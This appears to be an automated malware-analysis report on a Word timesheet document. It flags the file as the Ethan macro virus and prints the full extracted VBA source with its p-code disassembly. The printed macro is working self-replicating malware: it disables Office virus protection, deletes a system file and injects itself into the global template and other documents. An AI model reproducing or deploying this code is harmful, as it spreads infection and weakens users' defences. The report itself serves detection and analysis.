MALICIOUS
202
Risk Score
Heuristics 4
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
t.CodeModule.InsertLines i, a -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.kepsef.gr In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7396 bytes |
SHA-256: b798b45c6a779441f889369cebcf28034087f480b0256b1fd24010ce03b58396 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
Private Sub CommandButton1_Click()
If MsgBox("Send form to Personnel?", vbOKCancel, Timesheet) = vbOK Then
MsgBox "Please remember to type ""Personnel UK"" in the to field of the mail message which will appear next"
SendForm
ActiveDocument.Close (wdDoNotSaveChanges)
End If
End Sub
Private Sub CommandButton2_Click()
SaveDoc
End Sub
Private Sub Document_New()
End Sub
' Processing file: /opt/analyzer/scan_staging/0e13a9c7bb69441ba607bcde1d666776.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4174 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #5:
' ArgsCall Read 0x0000
' Line #6:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #7:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #9:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #10:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #11:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #12:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #13:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #14:
' EndIfBlock
' Line #15:
' LitStr 0x000C "c:\class.sys"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x000C "c:\class.sys"
' ArgsCall Kill 0x0001
' EndIf
' Line #16:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #17:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #18:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' ElseIfBlock
' Line #19:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #20:
' ElseBlock
' Line #21:
' LitStr 0x0000 ""
' St t
' Line #22:
' EndIfBlock
' Line #23:
' Ld t
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #24:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #25:
' LitDI2 0x0001
' ArgsLd LOF 0x0001
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' GoTo q
' EndIf
' Line #26:
' LitDI2 0x0001
' St i
' Line #27:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #28:
' LitDI2 0x0001
' Ld a
' LineInput
' Line #29:
' Ld i
' Ld a
' Ld t
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #30:
' Ld i
' LitDI2 0x0001
' Add
' St i
' Line #31:
' Loop
' Line #32:
' Label q
' Line #33:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #34:
' Ld Rnd
' LitR8 0x3333 0x3333 0x3333 0x3FD3
' Lt
' If
' BoSImplicit
' StartWithExpr
' Ld wdDialogFileSummaryInfo
' ArgsLd Dialogs 0x0001
' With
' BoS 0x0000
' LitStr 0x000B "Ethan Frome"
' MemStWith Title
' BoS 0x0000
' LitStr 0x0008 "EW/LN/CB"
' MemStWith Author
' BoS 0x0000
' LitStr 0x0005 "Ethan"
' MemStWith Keywords
' BoS 0x0000
' ArgsMemCallWith Execute 0x0000
' BoS 0x0000
' EndWith
' EndIf
' Line #35:
' Ld ActiveDocument
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound 0x0002
' LitStr 0x0008 "Document"
' Ne
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #36:
' EndIfBlock
' Line #37:
' Ld ActiveDocument
' MemLd Saved
' Ld s
' Ne
' If
' BoSImplicit
' Ld s
' Ld ActiveDocument
' MemSt Saved
' EndIf
' Line #38:
' EndSub
' Line #39:
' FuncDefn (Private Sub CommandButton1_Click())
' Line #40:
' LitStr 0x0017 "Send form to Personnel?"
' Ld vbOKCancel
' Ld Timesheet
' ArgsLd MsgBox 0x0003
' Ld vbOK
' Eq
' IfBlock
' Line #41:
' LitStr 0x0061 "Please remember to type "Personnel UK" in the to field of the mail message which will appear next"
' ArgsCall MsgBox 0x0001
' Line #42:
' ArgsCall SendForm 0x0000
' Line #43:
' Ld wdDoNotSaveChanges
' Paren
' Ld ActiveDocument
' ArgsMemCall Close 0x0001
' Line #44:
' EndIfBlock
' Line #45:
' EndSub
' Line #46:
' Line #47:
' FuncDefn (Private Sub CommandButton2_Click())
' Line #48:
' ArgsCall SaveDoc 0x0000
' Line #49:
' EndSub
' Line #50:
' Line #51:
' FuncDefn (Private Sub Document_New())
' Line #52:
' Line #53:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.